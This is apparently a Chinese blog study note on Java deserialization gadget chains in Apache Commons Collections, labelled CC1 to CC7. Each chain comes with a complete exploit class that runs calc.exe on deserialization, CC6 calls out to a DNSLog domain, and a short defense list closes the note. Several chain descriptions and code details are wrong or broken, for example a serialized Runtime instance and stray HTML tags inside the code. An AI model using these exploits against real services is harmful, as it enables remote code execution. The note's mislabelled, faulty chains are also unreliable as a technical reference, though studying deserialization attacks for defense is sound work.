thumbnail
CC 链（Commons Collections 链）
|
文章 , 学习笔记
|
5.2k 字
|
24 分钟

一、认识 CC 链

1.1 基本定义

CC 链全称为Apache Commons Collections 链，是 Java 反序列化漏洞中最经典、应用最广泛的利用链之一。Apache Commons Collections（简称 ACC）是 Apache 基金会开发的一个 Java 工具类库，提供了大量增强型集合类（如TransformedMap、LazyMap）和工具方法，由于其在 Java 生态中的高普及率，成为反序列化漏洞利用的 “绝佳载体”。

CC 链的核心本质是：通过构造特定的 ACC 库类实例，将恶意代码植入到反序列化流程中，当目标应用对恶意序列化数据进行反序列化时，会触发 ACC 库类中预设的 “恶意调用链”，最终执行攻击者的代码（如命令执行、文件操作等）。

1.2 核心原理

Java 反序列化漏洞的触发前提是 “类重写了readObject()方法，且该方法中存在可控的危险操作”。CC 链的核心思路是：

  1. 利用 ACC 库中实现了Serializable接口（支持序列化）的类；

  2. 这些类的readObject()方法或其关联方法（如transform()、get()）会调用其他方法，形成 “方法调用链”；

  3. 通过构造 “恶意调用链”（将InvokerTransformer等可执行命令的类植入链中），让反序列化过程最终触发Runtime.exec()等危险方法。

1.3 关键组件

在 CC 链中，以下 ACC 库类和 Java 原生类是核心组件，几乎所有 CC 子链都会用到：

  • Transformer接口：定义了transform(Object input)方法，是调用链的 “节点模板”；

  • InvokerTransformer类：实现Transformer接口，通过反射调用任意类的任意方法（核心危险类，可直接调用Runtime.exec()）；

  • ChainedTransformer类：实现Transformer接口，可将多个Transformer串联成 “调用链”，依次执行每个Transformer的transform()方法；

  • TransformedMap类：增强型 Map，在添加 / 修改元素时会调用预设的Transformer处理元素；

  • LazyMap类：增强型 Map，在调用get()方法获取不存在的键时，会调用预设的Transformer生成值。

二、CC1 链分析（经典基础链）

2.1 基本信息

  • 依赖版本：Apache Commons Collections 3.1~3.2.1（3.2.2 版本修复了该漏洞）；

  • 核心思路：利用TransformedMap的 “元素修改触发Transformer” 特性，结合ChainedTransformer串联InvokerTransformer，构造恶意调用链，最终通过反序列化触发Runtime.exec()。

2.2 关键类与方法

类名 核心方法 作用
TransformedMap put(Object key, Object value) 添加元素时调用valueTransformer处理值
ChainedTransformer transform(Object input) 串联多个Transformer，依次执行
InvokerTransformer transform(Object input) 通过反射调用目标方法（如exec()）
HashMap readObject(ObjectInputStream) 反序列化时会调用putVal()间接触发put()

2.3 调用流程（核心链路）

2.4 EXP 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC1Exp {
    public static void main(String[] args) throws Exception {
        // 1. 构造三个InvokerTransformer，分别实现：获取Runtime类 → 获取Runtime实例 → 执行命令
        Transformer[] transformers = new Transformer[]{
                // 第一步：通过Class.forName获取Runtime.class（参数"java.lang.Runtime"）
                new InvokerTransformer("forName", 
                        new Class[]{String.class}, 
                        new Object[]{"java.lang.Runtime"}),
                // 第二步：调用Runtime.class的getRuntime()方法，获取Runtime实例
                new InvokerTransformer("getMethod", 
                        new Class[]{String.class, Class[].class}, 
                        new Object[]{"getRuntime", new Class[0]}),
                // 第三步：调用Runtime实例的exec()方法，执行命令（此处为calc.exe，Windows计算器）
                new InvokerTransformer("invoke", 
                        new Class[]{Object.class, Object[].class}, 
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", 
                        new Class[]{String.class}, 
                        new Object[]{"calc.exe"})
        };

        // 2. 用ChainedTransformer串联上述Transformer，形成调用链
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 3. 创建普通HashMap，包装为TransformedMap（指定valueTransformer为恶意调用链）
        Map<String, String> normalMap = new HashMap<>();
        normalMap.put("key", "value");
        Map<String, String> maliciousMap = TransformedMap.decorate(normalMap, null, chainedTransformer);

        // 4. 序列化恶意Map（模拟攻击者发送恶意数据）
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
        oos.writeObject(maliciousMap);
        oos.close();

        // 5. 反序列化（模拟目标应用触发漏洞）
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.ser"));
        ois.readObject(); // 反序列化时触发调用链，执行calc.exe
        ois.close();
    }
}

2.5 特点与局限性

  • 特点：原理简单、兼容性强（覆盖 3.x 早期版本），是学习 CC 链的入门案例；

  • 局限性：3.2.2 版本后 ACC 库修复了TransformedMap的触发逻辑，且依赖HashMap.readObject()的执行流程，易被安全防护检测。

三、CC2 链分析（基于 TemplatesImpl 优化）

3.1 基本信息

  • 依赖版本：Apache Commons Collections 3.1~3.2.1；

  • 核心思路：引入 Java 原生类com.sun.org``.apache.xalan.internal.xsltc.trax.TemplatesImpl（简称TemplatesImpl），利用其defineClass()方法加载恶意字节码，替代 CC1 中直接调用Runtime.exec()的方式，绕开部分检测。

3.2 关键类与方法

类名 核心方法 作用
TemplatesImpl defineClass(String name, byte[] b, int off, int len) 加载字节码并定义恶意类
TemplatesImpl getOutputProperties() 间接调用defineClass()和newInstance()
InvokerTransformer transform(Object input) 触发TemplatesImpl.getOutputProperties()

3.3 调用流程（核心链路）

3.4 EXP 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC2Exp {
    // 1. 定义恶意类（继承AbstractTranslet，满足TemplatesImpl加载要求）
    static class MaliciousTranslet extends AbstractTranslet {
        static {
            // static代码块在类加载时执行，触发命令
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
    }

    public static void main(String[] args) throws Exception {
        // 2. 获取恶意类的字节码（模拟攻击者准备恶意字节码）
        byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);

        // 3. 构造TemplatesImpl实例，设置_bytecodes为恶意字节码
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{maliciousBytecode});

        // 4. 构造调用链：触发TemplatesImpl.getOutputProperties()
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 5. 包装恶意Map并序列化
        Map<String, TemplatesImpl> normalMap = new HashMap<>();
        normalMap.put("key", templates);
        Map<String, TemplatesImpl> maliciousMap = TransformedMap.decorate(normalMap, null, chainedTransformer);

        // 6. 序列化与反序列化（触发漏洞）
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
        oos.writeObject(maliciousMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.ser"));
        ois.readObject();
        ois.close();
    }

    // 辅助方法：获取类的字节码
    private static byte[] getClassBytecode(Class<?> cls) throws Exception {
        File file = new File(cls.getProtectionDomain().getCodeSource().getLocation().toURI());
        FileInputStream fis = new FileInputStream(new File(file, cls.getName().replace(".", "/") + ".class"));
        byte[] bytes = new byte[fis.available()];
        fis.read(bytes);
        fis.close();
        return bytes;
    }
}

3.5 特点与局限性

  • 特点：利用字节码加载执行命令，比 CC1 更隐蔽，可绕开对Runtime.exec()的直接检测；

  • 局限性：依赖TemplatesImpl类（属于 Xalan 库，部分环境可能缺失），且 ACC 版本限制与 CC1 一致。

四、CC3 链分析（基于 LazyMap 优化触发方式）

4.1 基本信息

  • 依赖版本：Apache Commons Collections 3.1~3.2.1；

  • 核心思路：用LazyMap替代 CC1/CC2 中的TransformedMap，利用LazyMap.get()方法（获取不存在的键时触发Transformer）作为触发点，避免依赖HashMap.put()的执行流程，进一步绕开检测。

4.2 关键类与方法

类名 核心方法 作用
LazyMap get(Object key) 键不存在时调用factory.transform()（即Transformer）
HashMap readObject() 反序列化时会调用hash()，间接触发LazyMap.get()
ChainedTransformer transform(Object input) 串联恶意调用链

4.3 调用流程（核心链路）

4.4 EXP 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC3Exp {
    // 1. 定义恶意Translet类
    static class MaliciousTranslet extends AbstractTranslet {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
    }

    public static void main(String[] args) throws Exception {
        // 2. 准备恶意字节码与TemplatesImpl实例
        byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{maliciousBytecode});

        // 3. 构造调用链：触发TemplatesImpl.getOutputProperties()
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 4. 用LazyMap包装（factory为恶意调用链），且不添加"triggerKey"（确保get()时触发）
        Map<String, TemplatesImpl> maliciousMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
        maliciousMap.put("key", templates); // 添加其他键，避免触发

        // 5. 反射修改HashMap的table属性，插入"triggerKey"（反序列化时hash()会触发get()）
        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(maliciousMap);
        for (Object entry : table) {
            if (entry != null) {
                Field keyField = entry.getClass().getDeclaredField("key");
                keyField.setAccessible(true);
                keyField.set(entry, "triggerKey"); // 将键改为不存在的"triggerKey"
                break;
            }
        }

        // 6. 序列化与反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.ser"));
        oos.writeObject(maliciousMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.ser"));
        ois.readObject();
        ois.close();
    }

    // 辅助方法：获取类字节码（同CC2）
    private static byte[] getClassBytecode(Class<?> cls) throws Exception {
        File file = new File(cls.getProtectionDomain().getCodeSource().getLocation().toURI());
        FileInputStream fis = new FileInputStream(new File(file, cls.getName().replace(".", "/") + ".class"));
        byte[] bytes = new byte[fis.available()];
        fis.read(bytes);
        fis.close();
        return bytes;
    }
}

4.5 特点与局限性

  • 特点：触发点从put()改为get()，更隐蔽，不依赖元素添加流程，检测绕过能力更强；

  • 局限性：需通过反射修改HashMap的table属性，操作较复杂，且 ACC 版本限制不变。

五、CC4 链分析（结合 PriorityQueue 的被动触发）

5.1 基本信息

  • 依赖版本：Apache Commons Collections 3.1~3.2.1；

  • 核心思路：引入 Java 原生类PriorityQueue（优先级队列），利用其readObject()方法中对队列元素的 “排序操作”，被动触发LazyMap.get()，进一步降低触发流程的 “主动性”，绕开更多防护。

5.2 关键类与方法

类名 核心方法 作用
PriorityQueue readObject() 反序列化时调用heapify()对元素排序
PriorityQueue heapify() 调用compare()比较元素，触发LazyMap.get()
LazyMap get(Object key) 触发恶意调用链

5.3 调用流程（核心链路）

5.4 EXP 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CC4Exp {
    // 1. 恶意Translet类（同CC2/CC3）
    static class MaliciousTranslet extends AbstractTranslet {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
    }

    public static void main(String[] args) throws Exception {
        // 2. 准备TemplatesImpl实例
        byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{maliciousBytecode});

        // 3. 构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 4. 构造LazyMap（键"triggerKey"不存在，用于触发get()）
        Map<String, TemplatesImpl> lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
        lazyMap.put("key", templates);

        // 5. 构造PriorityQueue，添加两个LazyMap实例（触发排序）
        PriorityQueue



<map> queue = new PriorityQueue<>((o1, o2) -> {
            // 比较器：调用o1.get("triggerKey")，触发LazyMap.get()
            o1.get("triggerKey");
            return 0;
        });
        queue.add(lazyMap);
        queue.add(lazyMap);

        // 6. 反射清空队列元素的comparator（避免序列化前触发）
        Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, null);

        // 7. 序列化与反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        oos.writeObject(queue);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.ser"));
        ois.readObject();
        ois.close();
    }

    // 辅助方法：获取类字节码（同前）
    private static byte[] getClassBytecode(Class<?> cls) throws Exception {
        File file = new File(cls.getProtectionDomain().getCodeSource().getLocation().toURI());
        FileInputStream fis = new FileInputStream(new File(file, cls.getName().replace(".", "/") + ".class"));
        byte[] bytes = new byte[fis.available()];
        fis.read(bytes);
        fis.close();
        return bytes;
    }
}</map>

5.5 特点与局限性

  • 特点：利用PriorityQueue的排序特性被动触发，触发流程更隐蔽，几乎不依赖 “主动修改元素”；

  • 局限性：需构造特定的比较器，且PriorityQueue在部分环境中可能不常用，兼容性略低于前几条链。

六、CC5 链分析（基于 ConstantTransformer 简化调用链）

6.1 基本信息

  • 依赖版本：Apache Commons Collections 3.1~3.2.1；

  • 核心思路：引入ConstantTransformer（返回固定对象的Transformer），替代 CC1 中通过多步反射获取Runtime实例的逻辑，简化调用链，提高稳定性。

6.2 关键类与方法

类名 核心方法 作用
ConstantTransformer transform(Object input) 直接返回预设的对象（如Runtime实例）
ChainedTransformer transform(Object input) 串联ConstantTransformer与InvokerTransformer

6.3 调用流程（核心链路）

6.4 EXP 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC5Exp {
    public static void main(String[] args) throws Exception {
        // 1. 直接获取Runtime实例（通过getRuntime()）
        Runtime runtime = Runtime.getRuntime();

        // 2. 构造调用链：ConstantTransformer返回Runtime实例 → InvokerTransformer调用exec()
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(runtime), // 直接返回预设的Runtime实例
                new InvokerTransformer("exec", 
                        new Class[]{String.class}, 
                        new Object[]{"calc.exe"}) // 调用exec()执行命令
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 3. 包装恶意Map并序列化
        Map<String, String> normalMap = new HashMap<>();
        normalMap.put("key", "value");
        Map<String, String> maliciousMap = TransformedMap.decorate(normalMap, null, chainedTransformer);

        // 4. 序列化与反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.ser"));
        oos.writeObject(maliciousMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.ser"));
        ois.readObject();
        ois.close();
    }
}

6.5 特点与局限性

  • 特点：调用链极简化（仅两步），稳定性高，不易因反射步骤错误导致漏洞失效；

  • 局限性：ConstantTransformer返回的Runtime实例在序列化时会被正常序列化，部分防护可能检测 “序列化流中的Runtime对象”。

七、CC6 链分析（结合 URLDNS 链的检测友好型）

7.1 基本信息

  • 依赖版本：Apache Commons Collections 3.1~3.2.1；

  • 核心思路：结合 “URLDNS 链”（通过URL.hashCode()触发 DNS 查询）与 CC 链，将恶意行为从 “命令执行” 改为 “DNS 查询”，适用于漏洞检测场景（不执行恶意命令，仅通过 DNS 日志判断漏洞存在）。

7.2 关键类与方法

类名 核心方法 作用
URL hashCode() 计算哈希值时触发 DNS 查询
HashMap readObject() 调用hash()，间接触发URL.hashCode()
InvokerTransformer transform(Object input) 触发URL.hashCode()

7.3 调用流程（核心链路）

7.4 EXP 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class CC6Exp {
    public static void main(String[] args) throws Exception {
        // 1. 构造攻击者的DNS域名（如"test.cc6.dnslog.cn"，需替换为实际DNSLog域名）
        URL maliciousUrl = new URL("http://test.cc6.dnslog.cn");

        // 2. 构造调用链：触发URL.hashCode()
        Transformer transformer = new InvokerTransformer("hashCode", new Class[0], new Object[0]);

        // 3. 包装恶意Map（键为URL对象，valueTransformer为触发hashCode()的Transformer）
        Map<URL, String> normalMap = new HashMap<>();
        normalMap.put(maliciousUrl, "value");
        Map<URL, String> maliciousMap = TransformedMap.decorate(normalMap, null, transformer);

        // 4. 反射修改URL的hostAddress为null（确保hashCode()重新触发DNS查询）
        java.lang.reflect.Field hostAddressField = URL.class.getDeclaredField("hostAddress");
        hostAddressField.setAccessible(true);
        hostAddressField.set(maliciousUrl, null);

        // 5. 序列化与反序列化（触发DNS查询）
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
        oos.writeObject(maliciousMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.ser"));
        ois.readObject(); // 反序列化时触发DNS查询，攻击者可在DNSLog平台查看记录
        ois.close();
    }
}

7.5 特点与局限性

  • 特点：无恶意命令执行，仅用于漏洞检测，安全性高（不影响目标系统），适合渗透测试中的 “漏洞验证”；

  • 局限性：仅能检测漏洞存在，无法执行恶意操作，且依赖 DNSLog 平台的可用性。

八、CC7 链分析（基于 4.0 + 版本的适配）

8.1 基本信息

  • 依赖版本：Apache Commons Collections 4.0~4.4（修复了 3.x 的部分漏洞，需新的利用思路）；

  • 核心思路：ACC 4.x 版本将InvokerTransformer等危险类移至org.apache.commons.collections4.functors包，并加强了访问控制，CC7 通过调用TransformerUtils.chainedTransformer()替代直接实例化ChainedTransformer，绕开访问限制。

8.2 关键类与方法

类名 核心方法 作用
TransformerUtils chainedTransformer(Transformer[] transformers) 创建ChainedTransformer实例（4.x 推荐方式）
LazyMap get(Object key) 触发恶意调用链
PriorityQueue readObject() 被动触发LazyMap.get()

8.3 调用流程（核心链路）

8.4 EXP 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.TransformerUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC7Exp {
    // 1. 恶意Translet类（同前）
    static class MaliciousTranslet extends AbstractTranslet {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {}
        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {}
    }

    public static void main(String[] args) throws Exception {
        // 2. 准备TemplatesImpl实例
        byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class);
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{maliciousBytecode});

        // 3. 用TransformerUtils创建ChainedTransformer（适配4.x版本）
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getOutputProperties", new Class[0], new Object[0])
        };
        Transformer chainedTransformer = TransformerUtils.chainedTransformer(transformers);

        // 4. 构造LazyMap与PriorityQueue（同CC4）
        Map<String, TemplatesImpl> lazyMap = LazyMap.lazyMap(new HashMap<>(), chainedTransformer);
        lazyMap.put("key", templates);

        PriorityQueue
<map> queue = new PriorityQueue<>((o1, o2) -> {
            o1.get("triggerKey");
            return 0;
        });
        queue.add(lazyMap);
        queue.add(lazyMap);

        // 5. 清空comparator，避免提前触发
        Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, null);

        // 6. 序列化与反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(queue);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.ser"));
        ois.readObject();
        ois.close();
    }

    // 辅助方法：获取类字节码（同前）
    private static byte[] getClassBytecode(Class<?> cls) throws Exception {
        File file = new File(cls.getProtectionDomain().getCodeSource().getLocation().toURI());
        FileInputStream fis = new FileInputStream(new File(file, cls.getName().replace(".", "/") + ".class"));
        byte[] bytes = new byte[fis.available()];
        fis.read(bytes);
        fis.close();
        return bytes;
    }
}</map>

8.5 特点与局限性

  • 特点：适配 ACC 4.x 版本，绕开了 4.x 对危险类的访问限制，兼容性覆盖更广；

  • 局限性：4.x 版本仍在不断修复漏洞，部分高版本（如 4.5+）可能已无法利用。

九、各 CC 链子链对比与总结

子链 核心触发类 依赖 ACC 版本 特点 适用场景
CC1 TransformedMap 3.1~3.2.1 基础经典，易理解 入门学习、低版本 ACC 环境
CC2 TransformedMap+TemplatesImpl 3.1~3.2.1 字节码加载，绕开直接命令检测 需隐蔽执行命令的场景
CC3 LazyMap 3.1~3.2.1 get () 触发，更隐蔽 绕开 TransformedMap 检测的场景
CC4 PriorityQueue+LazyMap 3.1~3.2.1 被动排序触发，检测绕过能力强 高防护环境的命令执行
CC5 ConstantTransformer 3.1~3.2.1 调用链简化，稳定性高 对稳定性要求高的漏洞利用
CC6 URL+TransformedMap 3.1~3.2.1 DNS 查询，仅用于检测 漏洞验证、无恶意操作场景
CC7 TransformerUtils+PriorityQueue 4.0~4.4 适配 4.x 版本，兼容性广 高版本 ACC 环境的命令执行

防御建议

  1. 升级 ACC 库：将 Apache Commons Collections 升级至最新版本（如 3.2.2+、4.5+），修复已知漏洞；

  2. 序列化过滤：使用 Java 序列化过滤机制（如ObjectInputFilter），禁止反序列化 ACC 库的危险类（如InvokerTransformer、ChainedTransformer）；

  3. 字节码检测：监控TemplatesImpl.defineClass()等字节码加载行为，拦截恶意字节码；

  4. 命令执行监控：对Runtime.exec()、ProcessBuilder等危险方法进行 Hook，检测异常调用。

上一篇
下一篇